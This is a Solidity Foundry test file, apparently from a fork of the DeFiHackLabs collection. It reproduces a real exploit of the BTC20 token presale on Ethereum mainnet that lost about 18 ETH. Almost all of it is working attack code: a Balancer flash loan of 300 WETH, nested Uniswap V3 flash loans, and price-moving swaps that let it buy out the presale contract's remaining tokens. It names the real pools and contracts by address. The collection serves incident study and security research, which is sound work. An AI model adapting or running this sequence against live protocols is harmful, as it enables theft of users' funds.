forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
/
BTC20_exp.sol
121 lines (109 loc) · 6.17 KB
/
BTC20_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
// @KeyInfo - Total Lost : ~18ETH
// Attacker : https://etherscan.io/address/0x6ce9fa08f139f5e48bc607845e57efe9aa34c9f6
// Attack Contract : https://etherscan.io/address/0xb7fbf984a50cd7c66e6da3448d68d9f3b7f24f33
// Attack Tx : https://etherscan.io/tx/0xcdd93e37ba2991ce02d8ca07bf6563bf5cd5ae801cbbce3dd0babb22e30b2dbe
// @Analysis
// Post-mortem : https://www.google.com/
// Twitter Guy : https://twitter.com/DecurityHQ/status/1692924369662513472
// Hacking God : https://www.google.com/
contract ContractTest is Test {
IERC20 BTC20 = IERC20(0xE86DF1970055e9CaEe93Dae9B7D5fD71595d0e18);
IERC20 SDEX = IERC20(0x5DE8ab7E27f6E7A1fFf3E5B337584Aa43961BEeF);
IWETH WETH = IWETH(payable(address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2)));
IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
Uni_Pair_V3 SDEX_BTC20_Pair3 = Uni_Pair_V3(0xDb81b8cfB2718f7289ae2365DE800ac2c787E385);
Uni_Pair_V3 BTC20_WETH_Pair3 = Uni_Pair_V3(0x7234c91bd835a6Ed108c8e986E0663B14F9DE14e);
Uni_Router_V3 uniRouterV3 = Uni_Router_V3(0xE592427A0AEce92De3Edee1F18E0157C05861564);
Uni_Router_V2 uniRouter = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
Uni_Pair_V2 BTC20_WETH_Pair2 = Uni_Pair_V2(0xd50C5B8f04587D67298915E099E170af3Cd6909A);
IPresaleV4 PresaleV4 = IPresaleV4(0x1F006F43f57C45Ceb3659E543352b4FAe4662dF7);
address[] private addrPath = new address[](2);
uint256 Amount_SDEX_BTC20_Pair3 = 76_301_042_059_171_907_852_637;
uint256 Amount_BTC20_WETH_Pair3 = 47_676_018_750_296_374_476_872;
uint totalBorrowed = 300 ether;
function setUp() public {
vm.createSelectFork("mainnet", 17_949_215 - 1);
vm.label(address(BTC20), "BTC20");
vm.label(address(WETH), "WETH");
vm.label(address(SDEX), "SDEX");
vm.label(address(Balancer), "Balancer");
vm.label(address(SDEX_BTC20_Pair3), "SDEX_BTC20_Pair3");
vm.label(address(BTC20_WETH_Pair3), "BTC20_WETH_Pair3");
vm.label(address(uniRouter), "uniRouter");
vm.label(address(BTC20_WETH_Pair2), "BTC20_WETH_Pair2");
approveAll();
}
function testExploit() external{
address[] memory tokens = new address[](1);
tokens[0] = address(WETH);
uint256[] memory amounts = new uint256[](1);
amounts[0] = totalBorrowed;
bytes memory userData = "";
console.log("Before Start: %d ETH", WETH.balanceOf(address(this)));
Balancer.flashLoan(address(this), tokens, amounts, userData);
uint intRes = WETH.balanceOf(address(this))/1 ether;
uint decRes = WETH.balanceOf(address(this)) - intRes * 1e18;
console.log("Attack Exploit: %s.%s ETH", intRes, decRes);
}
function receiveFlashLoan(
address[] memory tokens,
uint256[] memory amounts,
uint256[] memory feeAmounts,
bytes memory userData
) external {
exploitBTC();
IERC20(tokens[0]).transfer(msg.sender, amounts[0] + feeAmounts[0]);
}
function exploitBTC() internal {
SDEX_BTC20_Pair3.flash(address(this), 0, Amount_SDEX_BTC20_Pair3, abi.encode(Amount_SDEX_BTC20_Pair3));
(addrPath[0], addrPath[1]) = (address(BTC20), address(WETH));
Uni_Router_V3.ExactInputSingleParams memory eisParams = Uni_Router_V3.ExactInputSingleParams({
tokenIn: address(BTC20), tokenOut: address(SDEX), fee:10_000, recipient: address(this),
deadline: type(uint256).max, amountIn: BTC20.balanceOf(address(this)), amountOutMinimum: 0,
sqrtPriceLimitX96: 0});
uniRouterV3.exactInputSingle(eisParams);
(eisParams.tokenIn, eisParams.tokenOut, eisParams.amountIn) = (address(SDEX), address(WETH),
SDEX.balanceOf(address(this)));
uniRouterV3.exactInputSingle(eisParams);
}
function uniswapV3FlashCallback(uint256 _amount0, uint256 _amount1, bytes calldata data) external {
uint256 amount = abi.decode(data, (uint256));
if (amount == Amount_SDEX_BTC20_Pair3){
BTC20_WETH_Pair3.flash(address(this), 0, Amount_BTC20_WETH_Pair3, abi.encode(Amount_BTC20_WETH_Pair3));
(uint amountOut, uint amountInMax) = (amount + amount/100 + 1, WETH.balanceOf(address(this)));
(addrPath[0], addrPath[1]) = (address(WETH), address(BTC20));
uniRouter.swapTokensForExactTokens(amountOut, amountInMax, addrPath, address(this), type(uint256).max);
BTC20.transfer(address(SDEX_BTC20_Pair3), amountOut);
}else if(amount == Amount_BTC20_WETH_Pair3){
uint amountIn = BTC20.balanceOf(address(this));
(addrPath[0], addrPath[1]) = (address(BTC20), address(WETH));
uniRouter.swapExactTokensForTokens(amountIn, 0, addrPath, address(this), type(uint256).max);
uint buyAmount = PresaleV4.maxTokensToSell()-PresaleV4.directTotalTokensSold();
PresaleV4.buyWithEthDynamic{value: totalBorrowed}(buyAmount);
(uint amountOut, uint amountInMax) = (amount + amount/100 + 1, WETH.balanceOf(address(this)));
(addrPath[0], addrPath[1]) = (address(WETH),address(BTC20));
uniRouter.swapTokensForExactTokens(amountOut, amountInMax, addrPath, address(this), type(uint256).max);
BTC20.transfer(address(BTC20_WETH_Pair3), amountOut);
}
}
function approveAll() internal {
SDEX.approve(address(SDEX_BTC20_Pair3), type(uint256).max);
SDEX.approve(address(uniRouterV3), type(uint256).max);
BTC20.approve(address(SDEX_BTC20_Pair3), type(uint256).max);
BTC20.approve(address(BTC20_WETH_Pair2), type(uint256).max);
BTC20.approve(address(BTC20_WETH_Pair3), type(uint256).max);
BTC20.approve(address(uniRouter), type(uint256).max);
BTC20.approve(address(uniRouterV3), type(uint256).max);
WETH.approve(address(uniRouter), type(uint256).max);
BTC20.approve(address(PresaleV4), type(uint256).max);
WETH.approve(address(PresaleV4), type(uint256).max);
}
event Received(address, uint);
receive() external payable {
emit Received(msg.sender, msg.value);
}
}